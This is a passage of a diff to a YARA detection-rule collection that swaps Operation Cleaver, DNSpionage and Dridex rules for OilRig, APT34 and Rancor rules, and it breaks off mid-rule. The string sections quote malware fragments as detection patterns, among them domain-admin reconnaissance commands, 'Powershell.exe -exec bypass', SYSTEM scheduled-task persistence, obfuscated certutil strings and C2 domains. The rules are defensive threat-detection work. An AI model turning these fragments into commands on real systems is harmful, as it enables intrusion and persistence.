-		id = "2bfa90a0-0495-5b21-98f7-5ed7ebc74b2d"
-		date = "2014-12-02"
+		id = "a4fe24b8-290a-5a4a-9f81-bbbd9aae6c6e"
+		date = "2016-10-12"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L318-L332"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ae043ee5baa7361def79811350317baf54eb76cf15001a7785808dc7947fddc"
-		score = 70
+		reference = "https://goo.gl/QMRZ8K"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L151-L166"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "04c9f482c0c4abc1bf316459dc3085154defadb0fd5fe74ff274d8b3ee807b7f"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5893eae26df8e15c1e0fa763bf88a1ae79484cdb488ba2fc382700ff2cfab80c"
 
 	strings:
-		$s1 = "Users\\parviz\\documents\\" nocase
+		$s1 = "whoami & hostname & ipconfig /all" ascii
+		$s2 = "net user /domain 2>&1 & net group /domain 2>&1" ascii
+		$s3 = "net group \"domain admins\" /domain 2>&1 & " ascii
 
 	condition:
-		$s1
+		( filesize <1KB and 1 of them )
 }
-rule SIGNATURE_BASE_OPCLEAVER_Ccproxy_Config
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Malware_Campaign_Mal3 : FILE
 {
 	meta:
-		description = "CCProxy config known from Operation Cleaver"
+		description = "Detects malware from OilRig Campaign"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c4d80a2a-2a32-585e-bc20-1c5118e4ee48"
-		date = "2014-12-02"
+		id = "e5967b39-5d21-5a6a-a1b5-2ec122f16444"
+		date = "2016-10-12"
 		modified = "2023-12-05"
-		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_op_cleaver.yar#L334-L352"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6e5c1c75a499434ad6ddd2439d28ac91d500b18418e693761d0b236bf6d6ce42"
-		score = 70
+		reference = "https://goo.gl/QMRZ8K"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L168-L183"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "62a6f6c4e574a3c577f0b1fdd85eaa3e775a7ae0e457c59a6b6f741ad895e510"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "02226181f27dbf59af5377e39cf583db15200100eea712fcb6f55c0a2245a378"
 
 	strings:
-		$s1 = "UserName=User-001" fullword ascii
-		$s2 = "Web=1" fullword ascii
-		$s3 = "Mail=1" fullword ascii
-		$s4 = "FTP=0" fullword ascii
-		$x1 = "IPAddressLow=78.109.194.114" fullword ascii
+		$x1 = "(Get-Content $env:Public\\Libraries\\dns.ps1) -replace ('#'+'##'),$botid | Set-Content $env:Public\\Libraries\\dns.ps1" fullword ascii
+		$x2 = "Invoke-Expression ($global:myhome+'tp\\'+$global:filename+'.bat > '+$global:myhome+'tp\\'+$global:filename+'.txt')" fullword ascii
+		$x3 = "('00000000'+(convertTo-Base36(Get-Random -Maximum 46655)))" fullword ascii
 
 	condition:
-		all of ($s*) or $x1
+		( filesize <10KB and 1 of them )
 }
-rule SIGNATURE_BASE_MAL_DNSPIONAGE_Malware_Nov18 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Malware_Nov17_13 : FILE
 {
 	meta:
-		description = "Detects DNSpionage Malware"
+		description = ""
 		author = "Florian Roth (Nextron Systems)"
-		id = "5a0b498b-b2e9-5827-9908-63586b2cf947"
-		date = "2018-11-30"
-		modified = "2023-01-06"
-		reference = "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dnspionage.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c7f148b790c391283ac833236ad7fd3af7af517098adeaf88b8ee8d95df11487"
+		id = "c45b8d30-6a5f-5dac-a202-6748ba7b7bd2"
+		date = "2017-11-22"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/ClearskySec/status/933280188733018113"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L185-L206"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eab15229f084681b27cec7ed959ef4cd1193a0b38aaed4341dcd6761e2505804"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "2010f38ef300be4349e7bc287e720b1ecec678cacbf0ea0556bcf765f6e073ec"
-		hash2 = "45a9edb24d4174592c69d9d37a534a518fbe2a88d3817fc0cc739e455883b8ff"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4f1e2df85c538875a7da877719555e21c33a558ac121eb715cf4e779d77ab445"
 
 	strings:
-		$x1 = ".0ffice36o.com" ascii
-		$s1 = "/Client/Login?id=" ascii
-		$s2 = ".\\Configure.txt" ascii
-		$s5 = "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" fullword ascii
-		$s6 = "Content-Disposition: form-data; name=\"txts\"" fullword ascii
+		$x1 = "\\Release\\dnscat2.pdb" ascii
+		$x2 = "cscript.exe //T:20 //Nologo " fullword ascii
+		$a1 = "taskkill /F /IM cscript.exe" fullword ascii
+		$a2 = "cmd.exe /c " fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="0160250adfc97f9d4a12dd067323ec61" or 1 of ($x*) or all of ($a*))
 }
-rule SIGNATURE_BASE_APT_Dnspionage_Karkoff_Malware_Apr19_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Oilrig_Intelsecuritymanager_Macro : FILE
 {
 	meta:
-		description = "Detects DNSpionage Karkoff malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "be955760-ae94-5f77-928d-f4118a97ae6a"
-		date = "2019-04-24"
+		description = "Detects OilRig malware"
+		author = "Eyal Sela (slightly modified by Florian Roth)"
+		id = "4cccc0df-a225-5500-be55-f4ae346e066e"
+		date = "2018-01-19"
 		modified = "2023-12-05"
-		reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dnspionage.yar#L23-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1e8157cec7e70f7c95dffecd1c5a820f29825586a95f2a5c6e4db0a51b1d4708"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L208-L233"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "35e540b87bb7425b601fad76f0ff33c60a4d91579fc50f5902d708d06fa755f6"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "6a251ed6a2c6a0a2be11f2a945ec68c814d27e2b6ef445f4b2c7a779620baa11"
-		hash2 = "b017b9fc2484ce0a5629ff1fed15bca9f62f942eafbb74da6a40f40337187b04"
-		hash3 = "5b102bf4d997688268bab45336cead7cdf188eb0d6355764e53b4f62e1cdf30c"
-		hash4 = "cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5"
 
 	strings:
-		$x1 = "Karkoff.exe" fullword wide
-		$x2 = "kuternull.com" fullword wide
-		$x3 = "rimrun.com" fullword wide
-		$s1 = "C:\\Windows\\Temp\\" wide
-		$s2 = "CMD.exe" fullword wide
-		$s3 = "get_ProcessExtensionDataNames" fullword ascii
-		$s4 = "get_ProcessDictionaryKeys" fullword ascii
+		$one1 = "$c$m$$d$.$$" ascii wide
+		$one2 = "$C$$e$r$$t$u$$t$i$$l$" ascii wide
+		$one3 = "$$%$a$$p$p$$d$a$" ascii wide
+		$one4 = ".$t$$x$t$$" ascii wide
+		$one5 = "cu = Replace(cu, \"$\", \"\")" ascii wide
+		$one6 = "Shell Environ$(\"COMSPEC\") & \" /c"
+		$one7 = "echo \" & Chr(32) & cmd & Chr(32) & \" > \" & Chr(34)" ascii wide
+		$two1 = "& SchTasks /Delete /F /TN " ascii wide
+		$two2 = "SecurityAssist" ascii wide
+		$two3 = "vbs = \"cmd.exe /c SchTasks" ascii wide
+		$two4 = "/Delete /F /TN Conhost & del" ascii wide
+		$two5 = "NullRefrencedException" ascii wide
+		$two6 = "error has occurred in user32.dll by" ascii wide
+		$two7 = "NullRefrencedException" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or all of ($s*))
+		filesize <300KB and 1 of ($one*) or 2 of ($two*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_Crime_Win32_Dridex_Socks5_Mod
+rule SIGNATURE_BASE_Oilrig_Intelsecuritymanager : FILE
 {
 	meta:
-		description = "Detects Dridex socks5 module"
-		author = "@VK_Intel"
-		id = "cee256b1-ad80-55dd-bbd3-0d3f7bc49664"
-		date = "2020-04-06"
+		description = "Detects OilRig malware"
+		author = "Eyal Sela"
+		id = "4cccc0df-a225-5500-be55-f4ae346e066e"
+		date = "2018-01-19"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/VK_Intel/status/1247058432223477760"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_evilcorp_dridex_banker.yar#L8-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5ca09e9c7d94e949e453d1bb69b566c12b253579cbcae700929d4f517df35a0a"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L235-L255"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "97debd5e74730e22133f29c89a0cf049862459c24d1b46634a973908040db3a7"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s0 = "socks5_2_x32.dll"
-		$s1 = "socks5_2_x64.dll"
+		$one1 = "srvResesponded" ascii wide fullword
+		$one2 = "InetlSecurityAssistManager" ascii wide fullword
+		$one3 = "srvCheckresponded" ascii wide fullword
+		$one4 = "IntelSecurityManager" ascii wide
+		$one5 = "msoffice365cdn.com" ascii wide
+		$one6 = "\\tmpCa.vbs" ascii wide
+		$one7 = "AAZFinish" ascii wide fullword
+		$one8 = "AAZUploaded" ascii wide fullword
+		$one9 = "ABZFinish" ascii wide fullword
+		$one10 = "\\tmpCa.vbs" ascii wide
 
 	condition:
-		any of ($s*) and pe.exports("start")
+		filesize <300KB and any of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Crime_Win32_Hvnc_Banker_Gen
+rule SIGNATURE_BASE_APT_APT34_PS_Malware_Apr19_1
 {
 	meta:
-		description = "Detects malware banker hidden VNC"
-		author = "@VK_Intel"
-		id = "5e13f4a9-2231-524f-82b2-fbc6d6a43b6f"
-		date = "2020-04-06"
+		description = "Detects APT34 PowerShell malware"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6a082c5a-ee5b-5002-9148-61bbcfedfe68"
+		date = "2019-04-17"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/VK_Intel/status/1247058432223477760"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_evilcorp_dridex_banker.yar#L22-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b01af685c3826834aadaf4eac1f1d8171db288a2efa7b769d8122421f7af8d7e"
+		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L267-L283"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "afe203fdfcc9dcafb170bee972d45e66e5483a777112a00fa30516dfe81bbf88"
 		score = 75
 		quality = 85
 		tags = ""
+		hash1 = "b1d621091740e62c84fc8c62bcdad07873c8b61b83faba36097ef150fd6ec768"
+
+	strings:
+		$x1 = "= get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID" ascii
+		$x2 = "Write-Host \"excepton occured!\"" ascii
+		$s1 = "Start-Sleep -s 1;" fullword ascii
+		$s2 = "Start-Sleep -m 100;" fullword ascii
 
 	condition:
-		pe.exports("VncStartServer") and pe.exports("VncStopServer")
+		1 of ($x*) or 2 of them
 }
-rule SIGNATURE_BASE_Crunchrat : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT34_PS_Malware_Apr19_2
 {
 	meta:
-		description = "Detects CrunchRAT - file CrunchRAT.exe"
+		description = "Detects APT34 PowerShell malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "da7d9b5c-6ccc-5960-9daa-4df612545751"
-		date = "2017-11-03"
+		id = "c3bdadfd-2164-5e33-be84-d5d5de8eb048"
+		date = "2019-04-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/t3ntman/CrunchRAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_crunchrat.yar#L2-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e29cfe6dd2ca69b1a8cd0cb36f7513dd9befd392906225196991dc62fcc80870"
+		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L285-L304"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "57c8f02ebfb05f739fc4791a88be4a981ce7b89e2bd283669f85aae1a5c14d02"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "58a07e96497745b6fd5075d569f17b0254c3e50b0234744e0487f7c5dddf7161"
+		tags = ""
+		hash1 = "2943e69e6c34232dee3236ced38d41d378784a317eeaf6b90482014210fcd459"
 
 	strings:
-		$x1 = "----CrunchRAT" fullword wide
-		$x2 = "\\Debug\\CrunchRAT" ascii
-		$x3 = "\\Release\\CrunchRAT" ascii
-		$s1 = "runCommand" fullword ascii
-		$s2 = "<action>download<action>" fullword wide
-		$s3 = "Content-Disposition: form-data; name=action" fullword wide
-		$s4 = "<action>upload<action>" fullword wide
-		$s5 = "/update.php" fullword wide
+		$x1 = "= \"http://\" + [System.Net.Dns]::GetHostAddresses(\"" ascii
+		$x2 = "$t = get-wmiobject Win32_ComputerSystemProduct  | Select-Object -ExpandProperty UUID" fullword ascii
+		$x3 = "| Where { $_ -notmatch '^\\s+$' }" ascii
+		$s1 = "= new-object System.Net.WebProxy($u, $true);" fullword ascii
+		$s2 = " -eq \"dom\"){$" ascii
+		$s3 = " -eq \"srv\"){$" ascii
+		$s4 = "+\"<>\" | Set-Content" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and (1 of ($x*) and 3 of them )
+		1 of ($x*) and 3 of them
 }
-rule SIGNATURE_BASE_Suspicious_Autoit_By_Microsoft : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_APT34_PS_Malware_Apr19_3
 {
 	meta:
-		description = "Detects a AutoIt script with Microsoft identification"
+		description = "Detects APT34 PowerShell malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "69b1c93d-ab12-5fdc-b6eb-fb135796d3a9"
-		date = "2017-12-14"
-		modified = "2023-12-05"
-		reference = "Internal Research - VT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_anomalies.yar#L375-L390"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7dfbaf7d136bd9e151c533b49394a9a596450d9cc2643dc144cb693290004591"
-		score = 60
+		id = "361582e7-94e3-5608-9ba9-31fa20c37cf0"
+		date = "2019-04-17"
+		modified = "2023-01-06"
+		reference = "https://twitter.com/0xffff0800/status/1118406371165126656"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_oilrig.yar#L306-L326"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77ba71a59d6026c4b393bc66af586066e11b0c496367a38d847396a23b3dffbe"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c0cbcc598d4e8b501aa0bd92115b4c68ccda0993ca0c6ce19edd2e04416b6213"
+		tags = ""
+		hash1 = "27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed"
 
 	strings:
-		$s1 = "Microsoft Corporation. All rights reserved" fullword wide
-		$s2 = "AutoIt" fullword ascii
+		$x1 = "Powershell.exe -exec bypass -file ${global:$address1}"
+		$x2 = "schtasks /create /F /ru SYSTEM /sc minute /mo 10 /tn"
+		$x3 = "\"\\UpdateTasks\\UpdateTaskHosts\""
+		$x4 = "wscript /b \\`\"${global:$address1" ascii
+		$x5 = "::FromBase64String([string]${global:$http_ag}))" ascii
+		$x6 = ".run command1, 0, false\" | Out-File " ascii
+		$x7 = "\\UpdateTask.vbs" ascii
+		$x8 = "hUpdater.ps1" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_SUSP_Size_Of_ASUS_Tuningtool : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_RANCOR_JS_Malware : FILE
 {
 	meta:
-		description = "Detects an ASUS tuning tool with a suspicious size"
+		description = "Rancor Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d22a1bf9-55d6-5cb4-9537-ad13b23af4d1"
-		date = "2018-10-17"
-		modified = "2022-12-21"
-		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_anomalies.yar#L392-L407"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5aadb48f61947ff0362bde5f80830b835ca9e3cb7e1c632d153d0ea5f8bbad6c"
-		score = 60
+		id = "83dd9567-199e-511c-8c9a-96422bd793e7"
+		date = "2018-06-26"
+		modified = "2023-12-05"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rancor.yar#L13-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d1e86d4395d4f84518750b5d58d15ed79b79570fbe50010d5d790b4c2511bb2"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		noarchivescan = 1
-		hash1 = "d4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458"
 
 	strings:
-		$s1 = "\\Release\\ASGT.pdb" ascii
+		$x1 = ",0,0 >%SystemRoot%\\system32\\spool\\drivers\\color\\fb.vbs\",0,0" fullword ascii
+		$x2 = "CreateObject(\"Wscript.Shell\").Run \"explorer.exe \"\"http" ascii
+		$x3 = "CreateObject(\"Wscript.Shell\").Run \"schtasks /create" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and filesize >70KB and all of them
+		uint16(0)==0x533c and filesize <1KB and 1 of them
 }
-rule SIGNATURE_BASE_SUSP_Piratedoffice_2007 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_RANCOR_PLAINTEE_Variant : FILE
 {
 	meta:
-		description = "Detects an Office document that was created with a pirated version of MS Office 2007"
+		description = "Detects PLAINTEE malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b36e9a59-7617-503b-968d-5b6b72b227ea"
-		date = "2018-12-04"
+		id = "f5b68079-0517-504d-a45f-f6ced532db82"
+		date = "2018-06-26"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/pwnallthethings/status/743230570440826886?lang=en"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_anomalies.yar#L409-L422"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff94483944a4a4e4bc3cba26fc08fc2a5239f27b301b2ca7cca5edc092c2fc73"
-		score = 40
+		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rancor.yar#L30-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d22aa91d0f66dbb85b79c0f121f0508135bf817929d81f3ff0b3fdf223ba53ec"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "210448e58a50da22c0031f016ed1554856ed8abe79ea07193dc8f5599343f633"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31"
+		hash2 = "bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e"
 
 	strings:
-		$s7 = "<Company>Grizli777</Company>" ascii
+		$s1 = "payload.dat" fullword ascii
+		$s3 = "temp_microsoft_test.txt" fullword ascii
+		$s4 = "reg add %s /v %s /t REG_SZ /d \"%s\"" fullword ascii
+		$s6 = "%s %s,helloworld2" fullword ascii
+		$s9 = "%s \\\"%s\\\",helloworld" fullword ascii
+		$s16 = "recv plugin type %s size:%d" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and 3 of them
 }
-rule SIGNATURE_BASE_SUSP_Scheduled_Task_Bigsize : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_RANCOR_PLAINTEE_Malware_Exports : FILE
 {
 	meta:
-		description = "Detects suspiciously big scheduled task XML file as seen in combination with embedded base64 encoded PowerShell code"
+		description = "Detects PLAINTEE malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "61b07b30-1058-5a53-99e7-2c48ec9d23b5"
-		date = "2018-12-06"
+		id = "fa1e678d-8357-522b-9167-31321ab7753f"
+		date = "2018-06-26"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_anomalies.yar#L424-L440"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dcc06261b1ea39c587d8bcefbb8e85e6b9016da01bf66c2eefe5bd7bbdfc6968"
-		score = 65
+		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rancor.yar#L51-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa55452d4639dbaec760277908906c4ff9e8b66a60b1bcdc157ce23bd5d596db"
+		score = 75
 		quality = 85
 		tags = "FILE"
-
-	strings:
-		$a0 = "<Task version=" ascii wide
-		$a1 = "xmlns=\"http://schemas.microsoft.com/windows/" ascii wide
-		$fp1 = "</Counter><Counter>" wide
-		$fp2 = "Office Feature Updates Logon" wide
-		$fp3 = "Microsoft Shared" fullword wide
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d"
 
 	condition:
-		uint16(0)==0xfeff and filesize >20KB and all of ($a*) and not 1 of ($fp*)
+		uint16(0)==0x5a4d and pe.exports("Add") and pe.exports("Sub") and pe.exports("DllEntryPoint") and pe.number_of_exports==3
 }
-rule SIGNATURE_BASE_SUSP_Putty_Unnormal_Size : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_RANCOR_DDKONG_Malware_Exports : FILE
 {
 	meta:
-		description = "Detects a putty version with a size different than the one provided by Simon Tatham (could be caused by an additional signature or malware)"
+		description = "Detects DDKONG malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "576b118c-d4be-5ce2-994a-ce3f943dda88"
-		date = "2019-01-07"
-		modified = "2022-06-30"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/generic_anomalies.yar#L442-L492"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2f2c21cc25eaba8c1812db617203427a59e9a55f8620676e4bbe4cb3cd4071fd"
-		score = 50
+		id = "c94d4ea2-7c16-5003-98ea-253f8a2d01d1"
+		date = "2018-06-26"
+		modified = "2023-12-05"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_rancor.yar#L64-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2d11d46530c22b323c504344448d91fd43c0eecd29cf29aa4da7b2c797d27ff9"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "e5e89bdff733d6db1cffe8b3527e823c32a78076f8eadc2f9fd486b74a0e9d88"
-		hash2 = "ce4c1b718b54973291aefdd63d1cca4e4d8d4f5353a2be7f139a290206d0c170"
-		hash3 = "adb72ea4eab7b2efc2da6e72256b5a3bb388e9cdd4da4d3ff42a9fec080aa96f"
-		hash4 = "1c0bd6660fa43fa90bd88b56cdd4a4c2ffb4ef9d04e8893109407aa7039277db"
-
-	strings:
-		$s1 = "SSH, Telnet and Rlogin client" fullword wide
-		$v1 = "Release 0.6" wide
-		$v2 = "Release 0.70" wide
-		$fp1 = "KiTTY fork" fullword wide
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d"
 
 	condition:
